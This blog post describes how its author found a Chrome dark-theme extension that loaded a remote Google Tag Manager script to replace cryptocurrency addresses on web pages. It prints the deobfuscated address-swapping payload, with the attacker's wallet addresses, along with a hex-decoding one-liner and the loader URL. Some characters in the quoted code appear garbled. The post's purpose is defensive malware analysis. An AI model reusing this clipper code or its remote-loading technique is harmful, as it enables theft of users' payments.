Was on a conference call showing off a new project we have on the way and whilst watching the user browse through the first page where we have a few donation addresses, I noticed that I don't recognise that bitcoin address that was being displayed. So I visited the page from my laptop and low and behold we are seeing two different addresses, this is strange because that bitcoin address is hardcoded in the html so it shouldn 't be different.
We opened an incognito window on his laptop as he had a ton of extensions loaded and wanted to be sure it wasn't an extension that was doing this. And we were right it was an extension because in incognito it displayed correctly as extensions were not running. The hunt for the rogue extension had begun! With around 15 extensions enabled we decided to enable one by one until the address changes again and then we know which one was the bad one, primitive approach but we were luck as it happened to be the second extension we enabled. - Dark Theme for Youtube™ v2 .1 .7 (nasty extension, check your extensions and make sure it's not enabled!)
Chrome extension are just some javascript so we quickly opened the extension folder, found the package and opened in an editor to start digging. On first sight there was nothing wrong and very concise as it should be, but I always wondered why Google allows extensions to load external javascript files, so when I saw a google tag manager function, it caught my eye.
Next step was to find what javascript code that google tag manager script tag was loading, and that is where we found the "payload". This was the url: http://www.googletagmanager.com/gtm.js?id=GTM-PWTKJLZ
Poorly written bit of code un/fortunately, because if it written a bit better it could of changed much more addresses and made even more profits. It was also starting a miner so considering that this is an extension that is running all the time when your browser is open, all it had to do was acquire more users and well maybe mining would also turn some profits.
[show gtm manager payload]
Maybe google tag manager does something to the code you use but special characters were encoded in hex, again not sure and maybe theres and easier way of doing this but we quickly made one line of Ruby code to convert those encoded chars into something more readable so we can see whats' happening.
s = ...payload...
s.split('\\x').map{|s| "#{[s[0...2]].pack('H*')}#{s[2..s.length]}" }.join('')
And this is what we got..
function init() {
var a = document.documentElement.innerHTML;
str = a.replace(/ <.* ? > /g," ").replace(/ + /g," ");
str=str.split(" ").filter(function(a){
return (a=a.match(/ (w + ) /)) && 24 < a[0].length
}).join(" ");
var b = str.split(" ");
for (a = 0; a < b.length; a++) 1 == checkBtc(b[a]) ? "L" == b[a].substring(0, 1) ? (document.body.innerHTML = document.body.innerHTML.replace(b[a], "LenPyRyLEAjd9pwqeqvNpF2KbbbDZRAZmH"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "LenPyRyLEAjd9pwqeqvNpF2KbbbDZRAZmH")) : (document.body.innerHTML = ndocument.body.innerHTML.replace(b[a], "1DhgvrWLWtLBt8hosfjNHt8Lqv8tK59F89"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "1DhgvrWLWtLBt8hosfjNHt8Lqv8tK59F89")) : 1 == checkEth(b[a]) && (document.body.innerHTML = document.body.innerHTML.replace(b[a], "0x8E805C1b9cB9B872f6AEf9274B143c3366700D3C"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "0x8E805C1b9cB9B872f6AEf9274B143c3366700D3C"))
}
function checkEth(a) {
return !!/^(0x)?[0-9a-f]{40}$/i.test(a) && (/^(0x)?[0-9a-f]{40}$/.test(a) || /^(0x)?[0-9A-F]{40}$/.test(a), !0)
}
function checkBtc(a) {
return !(26 > a.length || 35 < a.length) && !!/^[A-Z0-9]+$/i.test(a)
}
init();
As you can see it's not the best bit of code, because it does not match all potential addresses, such as ones found in inputs as values and many others. However it had the potential of doing some damage. I have a feeling that since Youtube added the ability to make Youtube dark without using any plugins, this was a Seppuku way to end the plugins life. This raises another issue because when a plugin gets removed by Google, people that have that plugin installed don't get notified nor does the plugin automatically disable. So basically Google just left you to enjoy the malware in plugins even after they remove them from the extension marketplace.
Nowadays we'll expect to see more of these sort of attacks, especially with new javascript developers that discovered they can bundle applications with a ton of js packages. The less packages you have the less the surface of attack would be, so don't be silly and just import packages, or just install extension that you don't need and never read any source code. Be careful and check what permissions you're giving access to, if an extension is only supposed to change one website it shouldn't need permission for any other website.
Tip: Chrome also allows you to set breakpoints on html elements for modifications, so just right clicking the element > Break on > attribute modifications.